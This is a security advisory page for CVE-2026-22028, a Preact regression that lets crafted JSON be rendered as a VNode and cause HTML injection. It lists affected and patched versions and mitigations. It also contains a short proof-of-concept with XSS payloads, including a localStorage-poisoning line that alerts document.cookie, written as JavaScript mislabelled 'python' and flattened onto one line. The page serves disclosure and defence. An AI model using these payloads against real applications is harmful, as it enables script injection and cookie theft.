Security Vulnerability Report
中文
CVE-2026-22028 CVSS 6.1 MEDIUM

CVE-2026-22028

Published: 2026-01-08 15:15:45
Last Modified: 2026-01-12 18:58:38

Description

Preact, a lightweight web development framework, JSON serialization protection to prevent Virtual DOM elements from being constructed from arbitrary JSON. A regression introduced in Preact 10.26.5 caused this protection to be softened. In applications where values from JSON payloads are assumed to be strings and passed unmodified to Preact as children, a specially-crafted JSON payload could be constructed that would be incorrectly treated as a valid VNode. When this chain of failures occurs it can result in HTML injection, which can allow arbitrary script execution if not mitigated by CSP or other means. Applications using affected Preact versions are vulnerable if they meet all of the following conditions: first, pass unmodified, unsanitized values from user-modifiable data sources (APIs, databases, local storage, etc.) directly into the render tree; second assume these values are strings but the data source could return actual JavaScript objects instead of JSON strings; and third, the data source either fails to perform type sanitization AND blindly stores/returns raw objects interchangeably with strings, OR is compromised (e.g., poisoned local storage, filesystem, or database). Versions 10.26.10, 10.27.3, and 10.28.2 patch the issue. The patch versions restore the previous strict equality checks that prevent JSON-parsed objects from being treated as valid VNodes. Other mitigations are available for those who cannot immediately upgrade. Validate input types, cast or validate network data, sanitize external data, and use Content Security Policy (CSP).

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:preactjs:preact:*:*:*:*:*:node.js:*:* - VULNERABLE
cpe:2.3:a:preactjs:preact:*:*:*:*:*:node.js:*:* - VULNERABLE
cpe:2.3:a:preactjs:preact:*:*:*:*:*:node.js:*:* - VULNERABLE
Preact 10.26.5 - 10.26.9
Preact 10.27.0 - 10.27.2
Preact 10.28.0 - 10.28.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2026-22028 PoC - Preact JSON VNode Injection // This PoC demonstrates how malicious JSON can be interpreted as VNode // Malicious JSON payload that can be interpreted as VNode const maliciousPayload = JSON.stringify({ type: 'script', props: { dangerouslySetInnerHTML: { __html: 'alert("XSS via Preact VNode Injection")' } } }); // Vulnerable code pattern - directly rendering JSON.parse result function vulnerableRender(data) { // If data is supposed to be string but is actually an object const parsed = JSON.parse(data); // Preact would incorrectly treat this as valid VNode return parsed; } // Another exploitation vector - localStorage poisoning localStorage.setItem('userData', JSON.stringify({ type: 'img', props: { src: 'x', onError: 'alert(document.cookie)' } })); // Safe rendering requires type checking function safeRender(data) { // Verify data is actually a string before parsing if (typeof data !== 'string') { throw new Error('Invalid input type'); } const parsed = JSON.parse(data); // Additional validation if (typeof parsed === 'object' && parsed !== null) { // Reject objects that could be VNodes return null; } return parsed; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-22028", "sourceIdentifier": "[email protected]", "published": "2026-01-08T15:15:44.853", "lastModified": "2026-01-12T18:58:38.207", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Preact, a lightweight web development framework, JSON serialization protection to prevent Virtual DOM elements from being constructed from arbitrary JSON. A regression introduced in Preact 10.26.5 caused this protection to be softened. In applications where values from JSON payloads are assumed to be strings and passed unmodified to Preact as children, a specially-crafted JSON payload could be constructed that would be incorrectly treated as a valid VNode. When this chain of failures occurs it can result in HTML injection, which can allow arbitrary script execution if not mitigated by CSP or other means. Applications using affected Preact versions are vulnerable if they meet all of the following conditions: first, pass unmodified, unsanitized values from user-modifiable data sources (APIs, databases, local storage, etc.) directly into the render tree; second assume these values are strings but the data source could return actual JavaScript objects instead of JSON strings; and third, the data source either fails to perform type sanitization AND blindly stores/returns raw objects interchangeably with strings, OR is compromised (e.g., poisoned local storage, filesystem, or database). Versions 10.26.10, 10.27.3, and 10.28.2 patch the issue. The patch versions restore the previous strict equality checks that prevent JSON-parsed objects from being treated as valid VNodes. Other mitigations are available for those who cannot immediately upgrade. Validate input types, cast or validate network data, sanitize external data, and use Content Security Policy (CSP)."}, {"lang": "es", "value": "Preact, un framework ligero de desarrollo web, protección de serialización JSON para evitar que los elementos del DOM Virtual se construyan a partir de JSON arbitrario. Una regresión introducida en Preact 10.26.5 hizo que esta protección se suavizara. En aplicaciones donde se asume que los valores de las cargas útiles JSON son cadenas y se pasan sin modificar a Preact como hijos, se podría construir una carga útil JSON especialmente diseñada que sería tratada incorrectamente como un VNode válido. Cuando esta cadena de fallos ocurre, puede resultar en inyección HTML, lo que puede permitir la ejecución arbitraria de scripts si no se mitiga mediante CSP u otros medios. Las aplicaciones que utilizan versiones afectadas de Preact son vulnerables si cumplen todas las siguientes condiciones: primero, pasan valores sin modificar y sin sanear de fuentes de datos modificables por el usuario (APIs, bases de datos, almacenamiento local, etc.) directamente al árbol de renderizado; segundo, asumen que estos valores son cadenas pero la fuente de datos podría devolver objetos JavaScript reales en lugar de cadenas JSON; y tercero, la fuente de datos o bien no realiza la sanitización de tipos Y almacena/devuelve ciegamente objetos sin procesar indistintamente con cadenas, O está comprometida (p. ej., almacenamiento local, sistema de archivos o base de datos envenenados). Las versiones 10.26.10, 10.27.3 y 10.28.2 aplican un parche al problema. Las versiones del parche restauran las comprobaciones de igualdad estricta anteriores que evitan que los objetos analizados por JSON sean tratados como VNodes válidos. Otras mitigaciones están disponibles para aquellos que no pueden actualizar de inmediato. Validar tipos de entrada, convertir o validar datos de red, sanear datos externos y usar la Política de Seguridad de Contenido (CSP)."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "UNREPORTED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubInte ... (truncated)